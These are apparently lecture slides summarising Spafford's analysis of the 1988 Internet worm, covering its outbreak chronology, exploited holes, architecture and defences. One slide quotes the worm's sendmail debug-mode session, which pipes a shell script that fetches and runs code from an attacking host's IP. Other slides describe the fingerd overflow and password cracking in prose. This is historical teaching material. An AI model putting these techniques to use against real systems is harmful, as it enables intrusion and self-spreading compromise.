Eugene H. Spafford, "The Internet Worm Program: An Analysis"

Eugene H. Spafford, "The Internet Worm Program: An Analysis" Presented by Petko Bakalov University of California - Riverside pbakalov@cs.ucr.edu

Roadmap • Introduction • Worm Description • Security Holes Exploited • Design of the worm • Proposed defense • Current state • Discussion

Resent e-mail Subject: [Staff] URGENT - Email Mass Mailing Virus hitting UCR Date: Mon, 26 Jan 2004 16:04:48 -0800 From: Phyllis Bruce <phyllis.bruce@ucr.edu> To: staff@scotmail.ucr.edu To All Staff: Urgent - a mass mailing worm has hit the internet today as many of you may now know, the name of it according to McAfee is W32/Mydoom@MM. Currently, McAfee AntiVirus has detected the type of virus threat, here is the information we have learned so far:

Definition - What is Worm • Self propagating/replicating code that uses infected host as a platform to attack other systems • Can spread fast causing epidemic-like outbreaks that wreak havoc on networks and hosts

Black Thursday - Chronology I 11/2:18:00 (approx.) This date and time of worm files found on prep.ai.mit.edu, a VAX 11/750 at the MIT Artificial Intelligence Lab. It is supposed that the attack began from here 11/2:18:24 rand.org at Rand Corp. in Santa Monica - First known West Coast infection. 11/2: 20:49 cs.utah.edu is infected. The machine is VAX 8600. Several hours after the infection the load average of the server reached 16. Typically at this time it is between 0.5 and 2.

Black Thursday - Chronology II 11/2: 23:28 Peter Yee at NASA Ames Research Center suggests turning off telnet, ftp, finger, rsh and SMTP services. 11/3: 02:54 Keith Bostic sends a fix for sendmail to the newsgroup comp.bugs.4bsd.ucb-fixes and to the TCP-IP mailing list. 11/3 :15:00 (approx.) The team at MIT Athena calls Berkeley with an example of how the finger server bug works. 11/4: 12:36 MIT and Berkeley have completely disassembled the worm

Security Holes Exploited • The basic object of the worm is to get a shell on another machine so it can reproduce further. Tree ways of attack: • sendmail. • fingerd. • rsh/rexec.

Sendmail attack - I • Door resulted from two distinct 'features' that, although innocent by themselves, were deadly when combined. • sendmail permits mail to be delivered to processes instead of mailbox files • sendmail is compiled with the DEBUG flag, and it permits sender to pass in a command sequence instead of a user name for a recipient. • The worm opens a TCP connection to victim's sendmail, invokes debug mode, and sends a RCPT TO that requests its data be piped through a shell. That data, a shell script (first-stage bootstrap) creates and compiles temporary second-stage bootstrap - C program. This C program sucks the object files from the attacking host and compiles them.

Sendmail attack - II debug mail from: </dev/null> rcpt to: <"|sed -e ’1,/^$/’d | /bin/sh ; exit 0"> data cd /usr/tmp cat > x14481910.c <<’EOF’ [text of vector program—second-stage bootstrap ] EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c . quit

Finger attack - I Finger reports information about a user on a host - it reads a request from the originating host, then runs the local finger program with the request as an argument and ships the output back. The finger server reads the remote request with gets() which does not check for overflow of the buffer. The worm supplies the finger server with a request that is bigger than the buffer and in this way write over the server's stack frame for the main routine. On a VAX, the worm knew how much further from the stack it had to clobber to get command to be executed "/usr/ucb/finger", which it replaced with the command "/bin/sh" . So instead of the finger command being executed, a shell was started.

Finger attack - II

Rsh rexec attack • Rsh and rexec are network services which offer remote command interpreters. Rexec uses password authentication; rsh relies on a "privileged" originating port and permissions files. • The worm exploit two types of vulnerabilities • likelihood that both accounts on the remote and on the local machines will have the same password • likelihood that a remote account will include the local host in its rsh permissions files • There are some files in the local host exploited by the worm • forward - contains an address to which mail is forwarded • rhosts - list of hosts on those hosts which are granted permission to access the local machine with rsh

Worm architecture - doit • Setup state of the worm • initializations • change its name • initialize the worm's list of network interfaces • defense • turns off core dumps • zeroes out its argument list • cleanup • arranges to die when remote connections fail • removes each file after it reads it. • Call doit function

Worm architecture - doit doit() { seed the random number generator with the time attack hosts: gateways, local nets, remote nets checkother(); send message(); for (;;) { cracksome(); other_sleep(30); cracksome(); change our process ID attack hosts: gateways, known hosts,local nets other_sleep(120); if (12 hours have passed) reset hosts table if (pleasequit && nextw > 10) exit(0); } }

Worm architecture - doit checkother() - check for another worm already on the local machine. send_message() - odd routine intended to cause 1 in 15 copies to send a message to a port on the host ernie.berkeley.edu cracksome() - password cracking other_sleep() - communication with another worm If 12 hours have passed and the worm is still alive it reinitializes its table of hosts At the end of the main loop the worm checks to see if it is scheduled to die as a result of its population control features, and if it is, and if it has done a sufficient amount of work cracking passwords, it exits.

Worm architecture - population control • The worm contains a mechanism that was designed to limit the number of copies of the worm running on a given system. • This system clearly does not prevent a system from being overloaded • The worm uses a client-and-server technique to control the number of copies executing on the current machine. It uses TCP port 23357 on the local host. In the beginning the worm tries to connect to this port. • If it is not successful this means that there is no other worm on the same machine. The worm becomes server. • Otherwise there is another worm in this machine.

Worm architecture - population control • If there is another worm client exchanges magic numbers with the server as a trivial form of authentication and the client and the server roll dice to see who gets to survive • The loser sets a flag pleasequit in order to exit at the bottom of the main loop. • One culprit is the 1 in 7 test in checkother(): worms that skip the client phase become immortal, and thus don't risk being eliminated by a roll of the dice. • Thus the worm finishes the population game in one of three states: • scheduled to die after some time, with pleasequit set; • running as a server, with the possibility of losing the game later • immortal, safe from the gamble of population control.

Worm architecture - Choosing new targets • One of the characteristics of the worm is that all of its attacks are active - do not depend on user to propagate. • There is distinct list of priorities when hunting for hosts • Its favorite hosts are gateways; the hg() routine tries to infect each of the hosts it believes to be gateways. • the worm's next priority is hosts whose names were found in a scan of system files • etc/hosts.equiv - contains names of hosts to which the local host grants user permissions without authentication • rhosts - which contains names of hosts from which the local host permits remote privileged logins

Worm architecture - Choosing new targets • forward files - list hosts to which mail is forwarded from the current host • worm starts looking for hosts that aren't recorded in files. • hl() checks local networks: it runs through the local host's addresses, masking off the host part and substituting a random value. • ha() does the same job for remote hosts, checking alternate addresses of gateways.

Worm architecture - Infection procedure • The worm uses two favorite routines when it decides that it wants to infect a host. • infect() is used from host scanning routines. This routine first checks that it isn't infecting the local machine, an already infected machine or a machine previously attacked but not successfully infected. It uses "infected" and "immune" states. Then comes a series of attacks: • rsh from the account that the worm is running under, • finger • sendmail.

Worm architecture - Infection procedure • The other infection routine is named hul() and it is run from the password cracking code after a password has been guessed. • potential remote user name is available from a .forward or .rhosts file • If a remote user name is unavailable the worm uses the local user name • it contacts the rexec server on the target host and tries to authenticate itself • If it can, it proceeds to the bootstrap phase • If not - it tries reverse rexec to the host

Worm architecture - Infection procedure • Both infect() and hul() use a routine sendworm() - • looks for the ll.c bootstrap source file in its objects list • uses the makemagic() routine to get a communication stream endpoint (a socket), a random network port number to rendezvous at, and a magic number for authentication. • Sends across the bootstrap source. The bootstrap source is compiled and run on the remote system • When a connection is successful, the worm ships all of its files across • It pauses four seconds to let a command interpreter start on the remote side, then it issues commands to create a new worm.

Worm architecture - Password cracking • Guessing passwords. The worm's password guessing is driven by a little 4-state machine. The first state gathers password data, while the remaining states represent increasingly less likely sources of potential passwords. • crack_0() collect information about hosts and accounts. • crack_1() looks for trivially broken passwords (the account name, the account name concatenated with itself, the first name ) • crack_2(). In this state the worm compares a list of favorite passwords • crack_3(). It opens the UNIX online dictionary /usr/dict/words and goes through it one word at a time.

Worm architecture - Password cracking • Faster password encryption. The worm's crypt() algorithm appears to be a compromise between time and space. • Advantages of the worm encryption : • worm's algorithm to use bit-field and shift operations on the password data • precomputing shifts and masks • The biggest performance improvement comes as a result of combining permutations: the worm uses expanded arrays which are indexed by groups of bits rather than the single bits used by the standard algorithm

Worm architecture - Password cracking Result: The worm's version of the UNIX crypt() routine ran more than 9 times faster than the standard version when it was tested VAX 8600. While the standard crypt() takes 54 seconds to encrypt 271 passwords on our 8600 (the number of passwords actually contained in our password file), the worm's crypt() takes less than 6 seconds.

Worm architecture - Defense • How can system administrators defend against fast implementations of crypt()? One suggestion that has been introduced is the idea of shadow password files. In this scheme, the encrypted passwords are hidden rather than public, forcing a cracker to either • break a privileged account • use the host's CPU and (slow) encryption algorithm to attack, with the added danger that password test requests could be logged and password cracking discovered.

Current status • Purposes Vary: • Denial of Service: CodeRed • Backdoor: CodeRedII left the system up for grabs • Replace/Remail: Nimda replaced common file types • Nothing: Kournikova spread to everyone you know • Anything: arbitrary code means arbitrary code • An Ongoing Threat • Windows: • CodeRed (IIS), CodeRedII(IIS), Klez(OL), ILoveYou(OL), Magistr(OL), AnnaKournikova(OL), SirCam... • Linux: • Slapper (Apache), Ramen(wu-ftpd+), Lion(bind)...

References The Internet Worm Program: An Analysis Eugene H. Spafford Remembering the Net Crash of ‘88 Bob Sullivan A Tour of the Worm Donn Seeley A report on internet worm Bob Page

Discussion • Why the worm reproduces so quickly that it could swamp machine?

Eugene H. Spafford, "The Internet Worm Program: An Analysis"